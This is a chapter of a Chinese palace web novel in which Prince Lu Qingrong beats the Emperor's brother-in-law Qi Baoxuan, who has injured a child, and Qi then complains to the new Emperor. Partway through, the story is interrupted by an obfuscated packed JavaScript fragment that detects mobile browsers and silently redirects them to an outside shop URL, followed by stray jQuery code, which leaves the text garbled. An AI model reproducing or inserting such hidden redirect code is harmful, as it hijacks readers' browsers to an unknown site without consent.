BY:丸二缘

    “陆清荣,你不要以为你还能得意多久!今时不同往日,你给我等着瞧!”

    大街上,因为刚才的那一番打斗,老百姓们吓到都已经躲得远远的,生怕自己被卷进这起权贵之间的冲突中。

    而陆清荣听到齐宝轩这番威胁,脸上直接就露出了个戏谑的笑容:

    他笑吟吟地看着面前被自己打得鼻青脸肿的齐宝轩,语气轻松地说道:

    “怎么,你堂堂齐小国舅爷,又打算去找我皇兄告状啊?你难道都不觉得自己这样做很丢人吗?”

    齐宝轩看着陆清荣那嬉皮笑脸的轻松模样,心中霎时间更是恨得不行。

    他咬牙切齿地看着陆清荣道:“我有什么好丢人的?你刚才一见到我,不分青红皂白,就直接暴打了我一顿,我凭什么不能去找圣上帮我讨回公道!”

    陆清荣看着齐宝轩显然越说越是愤慨的模样,他直接轻轻“啧”了一声:

    “这么说来,你今天是真的铁定了心,要去我皇兄面前告这个状是吧?”

    听到陆清荣这话,齐宝轩尽管嘴角还依然在抽痛着,却也忍不住扬起了一抹洋洋得意的笑。

    他觉得陆清荣这个二次询问,实际是陆清荣心里露怯了的表现。

    想到陆清荣此刻心里铁定是害怕得不行,被打得满脸开花的齐宝轩,心里更是乐开了花。

    他望向陆清荣,狞笑着说道:“陆清荣,这往后可没有谁再护着你了!你休想再像从前那样仗势欺人,无法无天!”

    “齐宝轩,你啰嗦够了没?这满天下的人,谁不知道我死了爹,我用得着你一次又一次的提醒吗?”

    陆清荣说话间,“砰”一下又狠狠给了齐宝轩的脸一拳:

    “既然横竖都得被你告上这么一状,那我还不如趁现在直接打个痛快!”

    陆清荣这番举动,着实是出乎了齐宝轩以及他身边随从的预料。

    齐家的随从们吓得惊慌失措,纷纷想要上前护住齐宝轩这个主子。

    然而,陆清荣的贴身太监安千,却是先皇特意赏赐给陆清荣这个小儿子的武功高手。

    齐宝轩那些随从,虽然人多势众,但却都是三脚猫功夫,根本无法突破安千的阻拦。

    于是,刚才还很趾高气扬的齐宝轩,再次被陆清荣打得抱头鼠窜。

    齐宝轩眼见自己实在是招架不住陆清荣的拳脚,他态度一百八十度大转变,连声大喊着求饶道:

    “陆清荣,我不告状了!我不告状了!你别再打了!”

    陆清荣停下攻势,眼神探寻地看着齐宝轩:

    “你真不打算告状了?你之后不会出尔反尔吧?”

    齐宝轩此刻心中其实是恨不得将陆清荣给千刀万剐,可面对陆清荣的怀疑,他却是瞬间将头摇得像拨浪鼓一样,生怕自己反应一慢,陆清荣的拳头就又迎了上来。

    看到陆清荣微微上扬了嘴角,齐宝轩心中也忍不住跟着松了一口气。

    同时,他心中又对陆清荣产生几分嘲讽,觉得陆清荣真是个好骗至极的蠢货。

    齐宝轩心中暗想着,打算只要自己一脱身,就立刻进宫去找自己已经登基为帝的姐夫喊冤。

    齐宝轩甚至在心中立下毒誓,他这一次,如果没让陆清荣脱下几层皮,那他就绝不姓齐!

    然而,正当齐宝轩以为自己的谎言能骗过陆清荣时,陆清荣却是再次“砰”一下给了齐宝轩一拳。

    齐宝轩被这一拳给打懵了。

    等反应过来后,他简直是要被陆清荣给气疯过去了。

    他怒得满脸涨红,朝陆清荣大声质问道:“我都说我不告状了,你凭什么还继续打我?”

    齐宝轩虽然面上勃然大怒,但心中却有点忐忑,怀疑陆清荣是不是看穿了自己之前想要食言的打算。

    “就是因为你说你不告状了,我才更加得打你一顿!”陆清荣一脸理直气壮地说道。

    而他说出的这话,直接把原本都快气炸了的齐宝轩,当场给听得愣了一下。

    “你一会威胁我说要告状,一会又喊着不告状了,我陆清荣平生最恨你这种言而无信、出尔反尔的小人!”

    “真是越说越觉得你面目可憎,再吃上我一记正义铁拳吧!”

    ……

    “哇”的一声,齐宝轩嚎啕大哭的声音,响彻了整个御书房。

    尽管陆清荣此刻并不在现场,但齐宝轩在和陆启峻这位新皇说起自己刚才进宫前,惨遭陆清荣毒打的经历,还是瞬间悲愤到了极点。

    “呜呜呜呜,姐夫,我可以发誓,我刚才所言,没有一个字是冤枉了荣王。我到了现在,都依然不知道我到底哪里惹到了荣王,以至于他要这样对我痛下狠手!”

    看到齐宝轩被打得两只眼睛肿到像鱼泡一般,陆启峻气得狠狠拍了一下桌子。

    “这个陆清荣,简直就是嚣张跋扈到了极点!他难不成以为朕会和先皇一样放纵他吗?”陆启峻脸色铁青地说道,“溺子如杀子,先皇真是将他这个小儿子给惯得不知天高地厚!”

    齐宝轩听到陆启峻这充斥着浓郁不满的话,他心中瞬间一阵窃喜。

    他之所以敢这么理直气壮地跑进宫来告陆清荣的状,一方面是他知道自己姐姐有多受陆启峻的偏宠,另一方面则是因为陆清荣从小就和陆启峻这个大哥不对付,兄弟俩从前没少起争执。

    齐宝轩很清楚,陆启峻这位当朝新皇,看不顺眼陆清荣这个弟弟很久了。

    齐宝轩虽然不敢直说,可此刻心中却是盼着,陆启峻最好是能够一气之下,就直接砍了陆清荣的人头。

    齐宝轩觉得自己刚才遭受的那些耻辱,只有用陆清荣的人头才能够解恨。

    荣王府,后院。

    葡萄架下,陆清荣躺在摇椅上,手中还拿着书商刚送过来的一册话本。

    如果是之前,他在拿到这新出的话本以后,肯定是第一时间就津津有味地翻看起这话本上的故事。

    可此刻,他却没有太多看话本的心情,反而是时不时就抬头往院门处的方向看去。

    而当看到自己的贴身太监安千终于从外面走进院中,他立刻就迫不及待地从摇椅上站了起来,并且主动上前朝安千迎了过去:

    “怎么回来得这么晚?是不是那边出什么岔子了?”

    听到陆清荣这声担忧的询问,安千瞬间摇了摇头:

    “主子,没出什么大事,奴才在屋外听了一会,他们家找来的那大夫,说那个小孩的腿伤不算太严重,只是得静养上大概半年的时间,而且这段时间不能再伤着碰着,否则就很可能会留下妨碍行走的后遗症。”

    安千的这一番解释,瞬间听得陆清荣拧起了眉头:

    “需要静养半年才能痊愈,这已经是很严重的伤情了。”

    “早知道那孩子伤得如此厉害,我刚才就该把齐宝轩那狗东西打得再狠一点!能让他多付出一些代价也是好的!”陆清荣撇着嘴,语气中尽是惋惜。

    而安千看到陆清荣这般反应后,他不想陆清荣为那小孩的事情太过烦心,便朝陆清荣说道:

    “主子,你让奴才送的那一百两银子,奴才已经抛进那小孩的家中了。小孩的爹娘在拿到银子以后,还立刻从屋里跑了出来,想找到你道谢,说你是他们家的恩公。”

    35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17715785|208521||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >“唉,钱给到了就好,他们家这也是受了齐宝轩的无妄之灾。”

    听到陆清荣这般回答,安千丝毫不感到意外。

    事实上,在他看来,那一户孩子受伤的人家,能够碰到陆清荣,已经是幸运至极的事情。

    陆清荣在皇亲国戚中,是如同异类一般的存在。

    像齐宝轩那样的人,才是绝多数权贵私下真正的模样。

    孩子被街上横冲直撞的马车轧到了腿又如何,就算是被当街轧死,那也照样是得咬牙吞下这个哑巴亏。

    没有几个官员会想要冒着丢掉乌纱帽的风险,去得罪齐宝轩那样受宠的皇亲国戚。

    安千甚至觉得,全天下恐怕也就只有陆清荣,还会想着要帮那个孩子讨个公道,甚至还因为怕他们家被牵连到,竟然选择了自污名声这样的方法。

    “王爷,奴才刚才还违抗你的吩咐,擅作主张做了一件事。”

    听到安千这话,陆清荣瞬间一脸疑惑,因为安千从前一直都表现得很是循规蹈矩,并不像是会任性妄为的人。

    安千看向陆清荣,低声说道:“王爷刚才问奴才为何这么晚归,其实是因为奴才在替王爷送完银两以后,又私自转道去了宫门口一趟。”

    陆清荣听到安千这解释,心中瞬间就冒出了一个猜测,“你该不会是去下马碑那里看齐宝轩的马车在不在吧?”

    皇宫作为帝王之家的禁地,自然不是谁都能够在里面纵马驰骋。

    陆清荣口中的下马碑,则正是文武百官下马、落桥的所在位置。

    而按照陆清荣他爹这个开国皇帝的规定,只有拥有皇族血统的人,才拥有骑马或者坐轿进宫的特权。

    齐宝轩虽被人称为小国舅,可到底不是皇家人,所以到了下马碑的位置,也依然得下车,靠两条腿走路进宫。

    所以,安千想要判断齐宝轩有没有进宫,确实是只要去四个宫门处的下马碑瞧上一眼,就能做出判断来了。

    “齐家的马车,确实是停在东华门外的下马碑处。”

    听到安千这回答,陆清荣脸上没有半点意外:

    “这齐宝轩向来就是小人得志便猖狂的作风,更别提他现在手中还拿了我这么个把柄,那自然更是要去我那正经人大哥面前,狠狠告上我这刁人一状。”

    安千看到陆清荣一点都不担心的模样,他心中反而是更加担忧了。

    他甚至有点后悔自己刚才怎么就没有拦下陆清荣暴打齐宝轩这件事。

    可再转念一想,他又清楚,其实陆清荣现在面临的最大问题,就是正如齐宝轩所得意的那样,今时不同往日了。

    如果先皇此刻还在世,那就算陆清荣再揍上齐宝轩几回,陆清荣也照样无需顾虑什么。

    朝野上下谁不知晓,陆清荣作为先皇的老来子,向来最受先皇偏疼。

    先皇在临终之前,甚至还要特意下旨,为尚未及冠的陆清荣封王。

    先皇其他的儿子,都是在及冠以后,才获得王位。

    唯有陆清荣,是年仅17岁,就已经是正一品亲王。

    在安千看来,自家王爷毋庸置疑就是先皇最疼爱的儿子,可他不理解,为什么先皇偏偏就点了和自家王爷最不对付的陆启峻为皇位继任者。

    齐宝轩区区一个无官无爵的小国舅,为什么能那么有底气地和陆清荣叫嚣,不就是因为齐宝轩的姐姐,是当今新皇最为宠爱的齐贵妃吗?

    想到这,安千心中就忍不住叹了一口气。

    他替自家王爷明天的早朝感到很是担忧。

    他不认为陆启峻这位新皇,会放过这么一个名正言顺教训自家王爷的机会。